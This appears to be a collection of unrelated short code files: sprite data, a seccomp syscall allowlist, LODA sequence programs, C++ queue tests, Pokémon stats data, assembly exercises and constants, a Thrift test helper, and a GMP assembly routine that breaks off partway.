0xe0, 0x11, 0x11, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf5, 0x99, 0x05, 0x90, 0xee, 0xee,
0xf8, 0xee, 0xe0, 0xf8, 0x00, 0x07, 0xee, 0xe8,
0xee, 0xee, 0xe0, 0x11, 0x11, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf4, 0x99, 0x00, 0x0e, 0xfc, 0xee,
0x00, 0xe0, 0xfc, 0x00, 0xfb, 0xee, 0x03, 0x01,
0x11, 0x11, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x01, 0xf4, 0x11, 0x00, 0x10, 0xf1, 0xee,
0x00, 0xe0, 0xfd, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf3, 0x99, 0x00, 0x0e, 0xf2, 0xee,
0x00, 0x01, 0xfe, 0x11, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf3, 0x99, 0x00, 0x90, 0xfb, 0xee,
0x02, 0x88, 0x88, 0x8e, 0xfc, 0xee, 0x00, 0xe0,
0xfd, 0x11, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf3, 0x99, 0x01, 0x91, 0x0e, 0xfd,
0xee, 0x04, 0x88, 0xee, 0xee, 0xe8, 0x8e, 0xfd,
0xee, 0x00, 0x01, 0xfd, 0x11, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x01, 0xf3, 0x11, 0x01, 0x10, 0x00, 0xf5,
0xee, 0x00, 0xe0, 0xfb, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf2, 0x99, 0x01, 0x11, 0x0e, 0xf6,
0xee, 0x00, 0x01, 0xfc, 0x11, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf2, 0x99, 0x01, 0x91, 0x10, 0xf7,
0xee, 0x00, 0xe0, 0xfb, 0x11, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf2, 0x99, 0x02, 0x91, 0x11, 0x0e,
0xf8, 0xee, 0x00, 0x01, 0xfb, 0x11, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x01, 0xf1, 0x11, 0x01, 0x00, 0x00, 0xf9,
0xee, 0x00, 0xe0, 0xf9, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf1, 0x99, 0x02, 0x91, 0x11, 0x0e,
0xfa, 0xee, 0x00, 0x01, 0xfa, 0x11, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x09, 0xf0, 0x99, 0x02, 0x11, 0x10, 0x00,
0xfd, 0xee, 0x01, 0xe0, 0x00, 0xf9, 0x11, 0x00,
0x00
db 0x00, 0x7f, 0xfa, 0xff, 0x00, 0xfc
db 0x00, 0xd0, 0xf0, 0x99, 0x02, 0x91, 0x11, 0x11,
0xfd, 0x00, 0x00, 0x01, 0xf9, 0x11, 0x01, 0x10,
0xd0
db 0x00, 0x7f, 0xfa, 0xff, 0x00, 0xfc
db 0x01, 0xd0, 0x01, 0xe1, 0x11, 0x01, 0x00, 0xd0
db 0x00, 0x1f, 0xfa, 0xff, 0x00, 0xf0
db 0x01, 0xdd, 0xd0, 0xe1, 0x00, 0x01, 0xdd, 0xd0
|
# check if arch is X86_64
A = arch
A == ARCH_X86_64 ? next : dead
A = sys_number
A >= 0x40000000 ? dead : next
A == fstat ? ok : next
A == openat ? ok : next
A == write ? ok : next
A == exit ? ok : next
A == exit_group ? ok : next
A == mprotect ? ok : next
A == mmap ? ok : next
A == munmap ? ok : next
A == brk ? ok : next
A == close ? ok : next
dead:
return KILL
ok:
return ALLOW
|
; A002110 o=0: Primorial numbers (first definition): product of first n primes. Sometimes written prime(n)#.
; Coded manually 2021-02-24 by Antti Karttunen, https://github.com/karttu
; With 64-bit implementation this is even in theory good only up to n=15, as A002110(15) = 614889782588491410 is the greatest primorial < 2^64.
; With 64-bit ints this version allows only computing up to A002110(14) = 13082761331670030 because the overflow kludge is now commented out.
mov $1,1 ; Initialize the result-register, the primorials are constructed to this
mov $2,1 ; Last prime found so far, this one from the beginning of the 20th century (A008578)
lpb $0 ; Loop from n to 1, to find the n-th primorial, we start from the "zeroth" one, A002110(0)=1.
mov $3,$2 ; Set search-limit for "find-next-prime loop" below, this should be enough by Bertrand's postulate.
lpb $3 ; (Bertrand is a great friend of all LODA-coders!). Start the inner loop.
add $2,1 ; First increment the prime past previous
mov $4,$1 ; And make temp. copy of it
gcd $4,$2 ; Take the greatest common divisor with the primorial constructed so far
cmp $4,1 ; $4 is now 1 if $2 was coprime to all previous primes, thus a new prime
cmp $4,0 ; ... and now $4 is zero if a new prime was found, otherwise 1
sub $3,$4 ; Thus we will fall out from loop if a new prime was found.
lpe
add $2,1 ; Has to increment again, because the results of the last iteration of the inner loop were lost (is there a better way to do this?)
; The following four instructions are just a kludge so that we could obtain that term A002110(15) without throwing an overflow:
; Now commented out for program cleanliness, and for the eventual migration to bignum-implementation of LODA.
; mov $3,$0
; cmp $3,0
; cmp $3,0
; mul $2,$3 ;; namely, if the $0 had come to zero, then this would force to multiply by zero instead, to avoid an overflow
mul $1,$2 ; Update the primorial
sub $0,1 ; and decrement the main loop counter.
lpe
mov $0,$1
|
; A047620: Numbers that are congruent to {0, 1, 2, 5} mod 8.
; 0,1,2,5,8,9,10,13,16,17,18,21,24,25,26,29,32,33,34,37,40,41,42,45,48,49,50,53,56,57,58,61,64,65,66,69,72,73,74,77,80,81,82,85,88,89,90,93,96,97,98,101,104,105,106,109,112,113,114,117,120,121,122
add $0,4
mov $1,$0
div $1,4
mul $1,2
mov $2,$0
lpb $2,1
mov $3,$0
add $3,2
mov $0,$3
sub $2,4
lpe
add $1,$0
sub $1,8
|
; A190974: a(n) = 7*a(n-1) - 5*a(n-2), with a(0)=0, a(1)=1.
; 0,1,7,44,273,1691,10472,64849,401583,2486836,15399937,95365379,590557968,3657078881,22646762327,140241941884,868459781553,5378008761451,33303762422392,206236293149489,1277135239934463,7908765213793796,48975680296884257
mov $2,$0
mov $3,1
lpb $2
add $4,$3
mov $1,$4
sub $2,1
add $3,$4
mul $4,5
lpe
mov $0,$1
|
#pragma once
#include <future>
#include <thread>
#include "doctest.h"
#include <hydra/mpsc_queue.hpp>
TEST_CASE("mpsc_queue::mpsc_queue()") {
hydra::mpsc_queue<int> target;
REQUIRE(target.capacity() == 0);
REQUIRE(!target);
REQUIRE(target.size() == 0);
}
TEST_CASE("mpsc_queue::mpsc_queue(capacity)") {
hydra::mpsc_queue<int> target(1);
REQUIRE(target.capacity() == 2);
REQUIRE(!!target);
REQUIRE(target.size() == 0);
}
TEST_CASE("mpsc_queue::mpsc_queue(mpsc_queue&&)") {
using queue = hydra::mpsc_queue<int>;
queue target(6);
queue moved1 {std::move(target)};
REQUIRE(!!moved1);
REQUIRE(moved1.capacity() == 8);
REQUIRE(moved1.size() == 0);
REQUIRE(!target);
REQUIRE(target.capacity() == 0);
REQUIRE(target.size() == 0);
queue moved2;
moved2 = std::move(moved1);
REQUIRE(!!moved2);
REQUIRE(moved2.capacity() == 8);
REQUIRE(moved2.size() == 0);
REQUIRE(!moved1);
REQUIRE(moved1.capacity() == 0);
REQUIRE(moved1.size() == 0);
}
TEST_CASE("mpsc_queue::claim") {
hydra::mpsc_queue<int> target(1);
auto const c1 = target.claim();
REQUIRE(!!c1);
REQUIRE(c1.value() == 0);
REQUIRE(target.size() == 1);
auto const c2 = target.claim();
REQUIRE(!!c2);
REQUIRE(c2.value() == 1);
REQUIRE(target.size() == 2);
auto const c3 = target.claim_for(std::chrono::microseconds {1});
REQUIRE(!c3);
}
TEST_CASE("mpsc_queue::operator []") {
hydra::mpsc_queue<int> target(1);
auto const c1 = target.claim();
target[c1] = -3;
REQUIRE(target[c1] == -3);
}
TEST_CASE("mpsc_queue::publish") {
hydra::mpsc_queue<int> target(1);
auto const n1 = target.claim();
target[n1] = -3;
target.publish(n1);
REQUIRE(target.size() == 1);
}
TEST_CASE("mpsc_queue::try_fetch") {
hydra::mpsc_queue<int> target(1);
auto const f1 = target.try_fetch();
REQUIRE(!f1);
auto const p1 = target.claim();
target[p1] = -3;
auto const f2 = target.try_fetch();
REQUIRE(!f2);
target.publish(p1);
auto const f3 = target.try_fetch();
REQUIRE(!!f3);
REQUIRE(f3 == p1);
target.fetched();
}
TEST_CASE("mpsc_queue::multithreading") {
hydra::mpsc_queue<int> target(1);
constexpr auto from_number = 1;
constexpr auto to_number = 1000;
constexpr auto numbers_count = to_number - from_number + 1;
auto summator = std::async(std::launch::async, [&] {
auto count = 0, sum = 0;
while(count != numbers_count) {
auto const p = target.try_fetch();
if(!p)
continue;
sum += target[p];
target.fetched();
++count;
}
return sum;
});
for(auto n = from_number; n != to_number + 1; ++n) {
auto const p = target.claim();
if(!p)
continue;
target[p] = n;
target.publish(p);
}
REQUIRE(summator.get() == (from_number + to_number) * numbers_count / 2);
}
|
; void *b_vector_size(b_vector_t *v)
SECTION code_adt_b_vector
PUBLIC _b_vector_size
EXTERN _b_array_size
defc _b_vector_size = _b_array_size
|
db 0 ; species ID placeholder
db 55, 104, 105, 52, 94, 75
; hp atk def spd sat sdf
db WATER, WATER ; type
db 60 ; catch rate
db 178 ; base exp
db NO_ITEM, DEEPSEATOOTH ; items
db GENDER_F50 ; gender ratio
db 20 ; step cycles to hatch
INCBIN "gfx/pokemon/huntail/front.dimensions"
db GROWTH_ERRATIC ; growth rate
dn EGG_WATER_1, EGG_WATER_1 ; egg groups
db 70 ; happiness
; tm/hm learnset
tmhm WATER_PULSE, TOXIC, HAIL, HIDDEN_POWER, ICE_BEAM, BLIZZARD, HYPER_BEAM, PROTECT, RAIN_DANCE, FRUSTRATION, RETURN, DOUBLE_TEAM, ROCK_TOMB, FACADE, SECRET_POWER, REST, ATTRACT, SNATCH, BRINE, ENDURE, GIGA_IMPACT, CAPTIVATE, SLEEP_TALK, NATURAL_GIFT, SWAGGER, SUBSTITUTE, SURF, WATERFALL, AQUA_TAIL, BOUNCE, DIVE, ICY_WIND, MUD_SLAP, SNORE, SUCKER_PUNCH, SWIFT
; end
|
include ksamd64.inc
SkFrame struct
ReturnAddress dq ?
HomeRcx dq ?
HomeRdx dq ?
HomeR8 dq ?
HomeR9 dq ?
Param5 dq ?
Param6 dq ?
Param7 dq ?
Param8 dq ?
SkFrame ends
;
; TestParams1
;
LEAF_ENTRY TestParams1, _TEXT$00
mov SkFrame.HomeRcx[rsp], rcx
mov SkFrame.HomeRdx[rsp], rdx
mov SkFrame.HomeR8[rsp], r8
mov SkFrame.HomeR9[rsp], r9
mov r10, SkFrame.Param5[rsp]
mov r11, SkFrame.Param6[rsp]
mov r8, SkFrame.Param7[rsp]
mov r9, SkFrame.Param8[rsp]
mov rbp, 99h
ret
LEAF_END TestParams1, _TEXT$00
;
; TestParams2
;
Locals struct
CalleeHomeRcx dq ?
CalleeHomeRdx dq ?
CalleeHomeR8 dq ?
CalleeHomeR9 dq ?
CalleeParam5 dq ?
CalleeParam6 dq ?
CalleeParam7 dq ?
CalleeParam8 dq ?
Temp1 dq ?
Temp2 dq ?
Temp3 dq ?
Temp4 dq ?
union
FirstNvRegister dq ?
SavedRbp dq ?
ends
Locals ends
;
; Exclude the space within the locals frame that was used for storing nv regs.
;
LOCALS_SIZE equ ((sizeof Locals) + (Locals.FirstNvRegister - (sizeof Locals)))
NESTED_ENTRY TestParams2, _TEXT$00
rex_push_reg rbp
alloc_stack LOCALS_SIZE
set_frame rbp, Locals.SavedRbp
END_PROLOGUE
mov rax, Locals.SavedRbp[rsp]
mov Locals.Temp1[rsp], 10h
mov Locals.Temp2[rsp], 20h
mov Locals.Temp3[rsp], 30h
lea r10, [rbp + 8]
mov rax, SkFrame.Param5[r10]
mov Locals.CalleeParam5[rsp], rax
mov rax, SkFrame.Param6[r10]
mov Locals.CalleeParam6[rsp], rax
mov rax, SkFrame.Param7[r10]
mov Locals.CalleeParam7[rsp], rax
mov rax, SkFrame.Param8[r10]
mov Locals.CalleeParam8[rsp], rax
call TestParams1
TeP90: add rsp, LOCALS_SIZE
pop rbp
ret
NESTED_END TestParams2, _TEXT$00
; vim:set tw=80 ts=8 sw=4 sts=4 et syntax=masm fo=croql com=:; :
end
|
;La problema de la S4 sa se selecteze octetul de rang3 din fiecare dublucuvant care este divizibil cu 11, sa se aleaga
;maximul dintre ele si sa se afiseze in baza 10
assume cs:code, ds:data
data segment
sir dd 11223344h, 0aabbccddh, 0b0b0b0bh, 16161616h, 79797979h
ls equ $ - sir
maxi db 0
data ends
code segment
start:
mov ax, data
mov ds, ax
mov cx, ls
mov si, 1
cmp cx, 0
je sfarsit
loopBytes:
mov dx, 0
mov ax, 0
mov al, byte ptr sir[si]
push ax
mov di, 11
div di
pop ax
cmp dx, 0
jne not_good
divisible:
cmp maxi, al
jae not_good
mov maxi, al
not_good:
add si, 4
loop loopBytes
;print maxi
mov ax, word ptr maxi
mov bx, 10
mov cx, 0
loopDigits:
mov dx, 0
div bx
push dx
inc cx
cmp ax, 0
jne loopDigits
printDigits:
pop dx
add dl, '0'
mov ah, 02h
int 21h
loop printDigits
sfarsit:
mov ax, 4c00h
int 21h
code ends
end start
|
global test_case
extern sys.error
section .text
test_case:
mov rax, 42
call sys.error
|
; constants.asm
; Game
Stack equ Start-1 ; Put our stack right below the program
BinPath equ "..\bin" ; Relative to main.asm
TapFile equ BinPath+"\ZalaXa.tap" ; Filename of tap file
SMC equ 0 ; Semantic placeholder for operands that wil be self-modified
; Sprites
Sprites proc
ALine equ NIRVANA_org+147+0*8 ; Line address (NIRVANA_org+147 is 56470, $DC96)
AColumn equ ALine-1 ; Column address
AIndex equ ALine+2 ; Index address
BLine equ NIRVANA_org+147+1*8 ; Line address (NIRVANA_org+147 is 56470, $DC96)
BColumn equ BLine-1 ; Column address
BIndex equ BLine+2 ; Index address
CLine equ NIRVANA_org+147+2*8 ; Line address (NIRVANA_org+147 is 56470, $DC96)
CColumn equ CLine-1 ; Column address
CIndex equ CLine+2 ; Index address
DLine equ NIRVANA_org+147+3*8 ; Line address (NIRVANA_org+147 is 56470, $DC96)
DColumn equ DLine-1 ; Column address
DIndex equ DLine+2 ; Index address
ELine equ NIRVANA_org+147+4*8 ; Line address (NIRVANA_org+147 is 56470, $DC96)
EColumn equ ELine-1 ; Column address
EIndex equ ELine+2 ; Index address
FLine equ NIRVANA_org+147+5*8 ; Line address (NIRVANA_org+147 is 56470, $DC96)
FColumn equ FLine-1 ; Column address
FIndex equ FLine+2 ; Index address
BTileLen equ 48 ; 16x16 pixels (32) + 16x8 attributes (16)
WTileLen equ 72 ; 24x16 pixels (48) + 24x8 attributes (24)
pend
NIRVANA_org equ 56323 ; Base address of NIRVANA+ (in case we want to relocate it)
ENABLE_WIDE_SPRITE equ true ; These two constants
ENABLE_WIDE_DRAW equ true ; produce wide tiles when defined
; ROM
CHAN_OPEN equ $1601 ; ROM routine to select which channel to print to
ChannelUpper equ 2 ; Channel 2 is the upper screen
PR_STRING equ $203C ; ROM routine to print a string of characters
ULAPort equ $FE ; ULA port for setting the border and reading keys
FRAMES equ $5C78 ; Spectrum ROM Frame counter
; Screen
AttributeAddress equ $5800 ; Start of the attributes in the Spectrum display file
AttributeLength equ $300 ; There are 768 bytes of attributes
NAttrVOffset equ 82 ; NIRVANA+ attribute offset between lines
BS equ 8
CR equ 13
Ink equ 16
Paper equ 17
Flash equ 18
Dim equ %00000000 ; These two constants are the
Bright equ %01000000 ; attribute mask for the bright flag
PrBright equ 19 ; This is the print code for BRIGHT for ROM routines
Inverse equ 20
Over equ 21
At equ 22 ; FZX understands this one as well as the ROM routines
Tab equ 23
Black equ 0
Blue equ 1
Red equ 2
Magenta equ 3
Green equ 4
Cyan equ 5
Yellow equ 6
White equ 7
BlackP equ 8*Black
BlueP equ 8*Blue
RedP equ 8*Red
MagentaP equ 8*Magenta
GreenP equ 8*Green
CyanP equ 8*Cyan
YellowP equ 8*Yellow
WhiteP equ 8*White
DimBlack equ Black
DimBlue equ Blue
DimRed equ Red
DimMagenta equ Magenta
DimGreen equ Green
DimCyan equ Cyan
DimYellow equ Yellow
DimWhite equ White
BrightBlack equ Black+Bright
BrightBlue equ Blue+Bright
BrightRed equ Red+Bright
BrightMagenta equ Magenta+Bright
BrightGreen equ Green+Bright
BrightCyan equ Cyan+Bright
BrightYellow equ Yellow+Bright
BrightWhite equ White+Bright
DimBlackBlackP equ DimBlack+BlackP
DimBlueBlackP equ DimBlue+BlackP
DimRedBlackP equ DimRed+BlackP
DimMagentaBlackP equ DimMagenta+BlackP
DimGreenBlackP equ DimGreen+BlackP
DimCyanBlackP equ DimCyan+BlackP
DimYellowBlackP equ DimYellow+BlackP
DimWhiteBlackP equ DimWhite+BlackP
BrightBlackBlackP equ BrightBlack+BlackP
BrightBlueBlackP equ BrightBlue+BlackP
BrightRedBlackP equ BrightRed+BlackP
BrightMagentaBlackP equ BrightMagenta+BlackP
BrightGreenBlackP equ BrightGreen+BlackP
BrightCyanBlackP equ BrightCyan+BlackP
BrightYellowBlackP equ BrightYellow+BlackP
BrightWhiteBlackP equ BrightWhite+BlackP
DimBlackBlueP equ DimBlack+BlueP
DimBlueBlueP equ DimBlue+BlueP
DimRedBlueP equ DimRed+BlueP
DimMagentaBlueP equ DimMagenta+BlueP
DimGreenBlueP equ DimGreen+BlueP
DimCyanBlueP equ DimCyan+BlueP
DimYellowBlueP equ DimYellow+BlueP
DimWhiteBlueP equ DimWhite+BlueP
BrightBlackBlueP equ BrightBlack+BlueP
BrightBlueBlueP equ BrightBlue+BlueP
BrightRedBlueP equ BrightRed+BlueP
BrightMagentaBlueP equ BrightMagenta+BlueP
BrightGreenBlueP equ BrightGreen+BlueP
BrightCyanBlueP equ BrightCyan+BlueP
BrightYellowBlueP equ BrightYellow+BlueP
BrightWhiteBlueP equ BrightWhite+BlueP
DimBlackRedP equ DimBlack+RedP
DimBlueRedP equ DimBlue+RedP
DimRedRedP equ DimRed+RedP
DimMagentaRedP equ DimMagenta+RedP
DimGreenRedP equ DimGreen+RedP
DimCyanRedP equ DimCyan+RedP
DimYellowRedP equ DimYellow+RedP
DimWhiteRedP equ DimWhite+RedP
BrightBlackRedP equ BrightBlack+RedP
BrightBlueRedP equ BrightBlue+RedP
BrightRedRedP equ BrightRed+RedP
BrightMagentaRedP equ BrightMagenta+RedP
BrightGreenRedP equ BrightGreen+RedP
BrightCyanRedP equ BrightCyan+RedP
BrightYellowRedP equ BrightYellow+RedP
BrightWhiteRedP equ BrightWhite+RedP
DimBlackMagentaP equ DimBlack+MagentaP
DimBlueMagentaP equ DimBlue+MagentaP
DimRedMagentaP equ DimRed+MagentaP
DimMagentaMagentaP equ DimMagenta+MagentaP
DimGreenMagentaP equ DimGreen+MagentaP
DimCyanMagentaP equ DimCyan+MagentaP
DimYellowMagentaP equ DimYellow+MagentaP
DimWhiteMagentaP equ DimWhite+MagentaP
BrightBlackMagentaP equ BrightBlack+MagentaP
BrightBlueMagentaP equ BrightBlue+MagentaP
BrightRedMagentaP equ BrightRed+MagentaP
BrightMagentaMagentaP equ BrightMagenta+MagentaP
BrightGreenMagentaP equ BrightGreen+MagentaP
BrightCyanMagentaP equ BrightCyan+MagentaP
BrightYellowMagentaP equ BrightYellow+MagentaP
BrightWhiteMagentaP equ BrightWhite+MagentaP
DimBlackGreenP equ DimBlack+GreenP
DimBlueGreenP equ DimBlue+GreenP
DimRedGreenP equ DimRed+GreenP
DimMagentaGreenP equ DimMagenta+GreenP
DimGreenGreenP equ DimGreen+GreenP
DimCyanGreenP equ DimCyan+GreenP
DimYellowGreenP equ DimYellow+GreenP
DimWhiteGreenP equ DimWhite+GreenP
BrightBlackGreenP equ BrightBlack+GreenP
BrightBlueGreenP equ BrightBlue+GreenP
BrightRedGreenP equ BrightRed+GreenP
BrightMagentaGreenP equ BrightMagenta+GreenP
BrightGreenGreenP equ BrightGreen+GreenP
BrightCyanGreenP equ BrightCyan+GreenP
BrightYellowGreenP equ BrightYellow+GreenP
BrightWhiteGreenP equ BrightWhite+GreenP
DimBlackCyanP equ DimBlack+CyanP
DimBlueCyanP equ DimBlue+CyanP
DimRedCyanP equ DimRed+CyanP
DimMagentaCyanP equ DimMagenta+CyanP
DimGreenCyanP equ DimGreen+CyanP
DimCyanCyanP equ DimCyan+CyanP
DimYellowCyanP equ DimYellow+CyanP
DimWhiteCyanP equ DimWhite+CyanP
BrightBlackCyanP equ BrightBlack+CyanP
BrightBlueCyanP equ BrightBlue+CyanP
BrightRedCyanP equ BrightRed+CyanP
BrightMagentaCyanP equ BrightMagenta+CyanP
BrightGreenCyanP equ BrightGreen+CyanP
BrightCyanCyanP equ BrightCyan+CyanP
BrightYellowCyanP equ BrightYellow+CyanP
BrightWhiteCyanP equ BrightWhite+CyanP
DimBlackYellowP equ DimBlack+YellowP
DimBlueYellowP equ DimBlue+YellowP
DimRedYellowP equ DimRed+YellowP
DimMagentaYellowP equ DimMagenta+YellowP
DimGreenYellowP equ DimGreen+YellowP
DimCyanYellowP equ DimCyan+YellowP
DimYellowYellowP equ DimYellow+YellowP
DimWhiteYellowP equ DimWhite+YellowP
BrightBlackYellowP equ BrightBlack+YellowP
BrightBlueYellowP equ BrightBlue+YellowP
BrightRedYellowP equ BrightRed+YellowP
BrightMagentaYellowP equ BrightMagenta+YellowP
BrightGreenYellowP equ BrightGreen+YellowP
BrightCyanYellowP equ BrightCyan+YellowP
BrightYellowYellowP equ BrightYellow+YellowP
BrightWhiteYellowP equ BrightWhite+YellowP
DimBlackWhiteP equ DimBlack+WhiteP
DimBlueWhiteP equ DimBlue+WhiteP
DimRedWhiteP equ DimRed+WhiteP
DimMagentaWhiteP equ DimMagenta+WhiteP
DimGreenWhiteP equ DimGreen+WhiteP
DimCyanWhiteP equ DimCyan+WhiteP
DimYellowWhiteP equ DimYellow+WhiteP
DimWhiteWhiteP equ DimWhite+WhiteP
BrightBlackWhiteP equ BrightBlack+WhiteP
BrightBlueWhiteP equ BrightBlue+WhiteP
BrightRedWhiteP equ BrightRed+WhiteP
BrightMagentaWhiteP equ BrightMagenta+WhiteP
BrightGreenWhiteP equ BrightGreen+WhiteP
BrightCyanWhiteP equ BrightCyan+WhiteP
BrightYellowWhiteP equ BrightYellow+WhiteP
BrightWhiteWhiteP equ BrightWhite+WhiteP
|
/*
* Copyright 2018-present Facebook, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <thrift/lib/cpp2/transport/rocket/test/network/Util.h>
#include <algorithm>
#include <iterator>
#include <string>
#include <gtest/gtest.h>
#include <folly/ExceptionWrapper.h>
#include <folly/Range.h>
#include <folly/io/IOBuf.h>
#include <thrift/lib/cpp/transport/TTransportException.h>
#include <thrift/lib/cpp2/transport/rocket/RocketException.h>
namespace apache {
namespace thrift {
namespace rocket {
namespace test {
std::string repeatPattern(folly::StringPiece pattern, size_t nbytes) {
std::string rv;
rv.reserve(nbytes);
for (size_t remaining = nbytes; remaining != 0;) {
const size_t toCopy = std::min<size_t>(pattern.size(), remaining);
std::copy_n(pattern.begin(), toCopy, std::back_inserter(rv));
remaining -= toCopy;
}
return rv;
}
void expectTransportExceptionType(
transport::TTransportException::TTransportExceptionType expectedType,
folly::exception_wrapper ew) {
const auto* const tex =
dynamic_cast<transport::TTransportException*>(ew.get_exception());
ASSERT_NE(nullptr, tex);
EXPECT_EQ(expectedType, tex->getType());
}
void expectRocketExceptionType(
ErrorCode expectedCode,
folly::exception_wrapper ew) {
const auto* const rex = dynamic_cast<RocketException*>(ew.get_exception());
ASSERT_NE(nullptr, rex);
EXPECT_EQ(expectedCode, rex->getErrorCode());
}
} // namespace test
} // namespace rocket
} // namespace thrift
} // namespace apache
|
dnl AMD K6 mpn_sqr_basecase -- square an mpn number.
dnl Copyright 1999, 2000, 2001, 2002 Free Software Foundation, Inc.
dnl
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or
dnl modify it under the terms of the GNU Lesser General Public License as
dnl published by the Free Software Foundation; either version 2.1 of the
dnl License, or (at your option) any later version.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful,
dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
dnl Lesser General Public License for more details.
dnl
dnl You should have received a copy of the GNU Lesser General Public
dnl License along with the GNU MP Library; see the file COPYING.LIB. If
dnl not, write to the Free Software Foundation, Inc., 51 Franklin Street,
dnl Fifth Floor, Boston, MA 02110-1301, USA.
include(`../config.m4')
C K6: approx 4.7 cycles per cross product, or 9.2 cycles per triangular
C product (measured on the speed difference between 17 and 33 limbs,
C which is roughly the Karatsuba recursing range).
dnl SQR_KARATSUBA_THRESHOLD_MAX is the maximum SQR_KARATSUBA_THRESHOLD this
dnl code supports. This value is used only by the tune program to know
dnl what it can go up to. (An attempt to compile with a bigger value will
dnl trigger some m4_assert()s in the code, making the build fail.)
dnl
dnl The value is determined by requiring the displacements in the unrolled
dnl addmul to fit in single bytes. This means a maximum UNROLL_COUNT of
dnl 63, giving a maximum SQR_KARATSUBA_THRESHOLD of 66.
deflit(SQR_KARATSUBA_THRESHOLD_MAX, 66)
dnl Allow a value from the tune program to override config.m4.
ifdef(`SQR_KARATSUBA_THRESHOLD_OVERRIDE',
`define(`SQR_KARATSUBA_THRESHOLD',SQR_KARATSUBA_THRESHOLD_OVERRIDE)')
dnl UNROLL_COUNT is the number of code chunks in the unrolled addmul. The
dnl number required is determined by SQR_KARATSUBA_THRESHOLD, since
dnl mpn_sqr_basecase only needs to handle sizes < SQR_KARATSUBA_THRESHOLD.
dnl
dnl The first addmul is the biggest, and this takes the second least
dnl significant limb and multiplies it by the third least significant and
dnl up. Hence for a maximum operand size of SQR_KARATSUBA_THRESHOLD-1
dnl limbs, UNROLL_COUNT needs to be SQR_KARATSUBA_THRESHOLD-3.
m4_config_gmp_mparam(`SQR_KARATSUBA_THRESHOLD')
deflit(UNROLL_COUNT, eval(SQR_KARATSUBA_THRESHOLD-3))
C void mpn_sqr_basecase (mp_ptr dst, mp_srcptr src, mp_size_t size);
C
C The algorithm is essentially the same as mpn/generic/sqr_basecase.c, but a
C lot of function call overheads are avoided, especially when the given size
C is small.
C
C The code size might look a bit excessive, but not all of it is executed
C and so won't fill up the code cache. The 1x1, 2x2 and 3x3 special cases
C clearly apply only to those sizes; mid sizes like 10x10 only need part of
C the unrolled addmul; and big sizes like 35x35 that do need all of it will
C at least be getting value for money, because 35x35 spends something like
C 5780 cycles here.
C
C Different values of UNROLL_COUNT give slightly different speeds, between
C 9.0 and 9.2 c/tri-prod measured on the difference between 17 and 33 limbs.
C This isn't a big difference, but it's presumably some alignment effect
C which if understood could give a simple speedup.
defframe(PARAM_SIZE,12)
defframe(PARAM_SRC, 8)
defframe(PARAM_DST, 4)
TEXT
ALIGN(32)
PROLOGUE(mpn_sqr_basecase)
deflit(`FRAME',0)
movl PARAM_SIZE, %ecx
movl PARAM_SRC, %eax
cmpl $2, %ecx
je L(two_limbs)
movl PARAM_DST, %edx
ja L(three_or_more)
C -----------------------------------------------------------------------------
C one limb only
C eax src
C ebx
C ecx size
C edx dst
movl (%eax), %eax
movl %edx, %ecx
mull %eax
movl %eax, (%ecx)
movl %edx, 4(%ecx)
ret
C -----------------------------------------------------------------------------
ALIGN(16)
L(two_limbs):
C eax src
C ebx
C ecx size
C edx dst
pushl %ebx
movl %eax, %ebx C src
deflit(`FRAME',4)
movl (%ebx), %eax
movl PARAM_DST, %ecx
mull %eax C src[0]^2
movl %eax, (%ecx)
movl 4(%ebx), %eax
movl %edx, 4(%ecx)
mull %eax C src[1]^2
movl %eax, 8(%ecx)
movl (%ebx), %eax
movl %edx, 12(%ecx)
movl 4(%ebx), %edx
mull %edx C src[0]*src[1]
addl %eax, 4(%ecx)
adcl %edx, 8(%ecx)
adcl $0, 12(%ecx)
popl %ebx
addl %eax, 4(%ecx)
adcl %edx, 8(%ecx)
adcl $0, 12(%ecx)
ret
C -----------------------------------------------------------------------------
L(three_or_more):
deflit(`FRAME',0)
cmpl $4, %ecx
jae L(four_or_more)
C -----------------------------------------------------------------------------
C three limbs
C eax src
C ecx size
C edx dst
pushl %ebx
movl %eax, %ebx C src
movl (%ebx), %eax
movl %edx, %ecx C dst
mull %eax C src[0] ^ 2
movl %eax, (%ecx)
movl 4(%ebx), %eax
movl %edx, 4(%ecx)
pushl %esi
mull %eax C src[1] ^ 2
movl %eax, 8(%ecx)
movl 8(%ebx), %eax
movl %edx, 12(%ecx)
pushl %edi
mull %eax C src[2] ^ 2
movl %eax, 16(%ecx)
movl (%ebx), %eax
movl %edx, 20(%ecx)
movl 4(%ebx), %edx
mull %edx C src[0] * src[1]
movl %eax, %esi
movl (%ebx), %eax
movl %edx, %edi
movl 8(%ebx), %edx
pushl %ebp
xorl %ebp, %ebp
mull %edx C src[0] * src[2]
addl %eax, %edi
movl 4(%ebx), %eax
adcl %edx, %ebp
movl 8(%ebx), %edx
mull %edx C src[1] * src[2]
addl %eax, %ebp
adcl $0, %edx
C eax will be dst[5]
C ebx
C ecx dst
C edx dst[4]
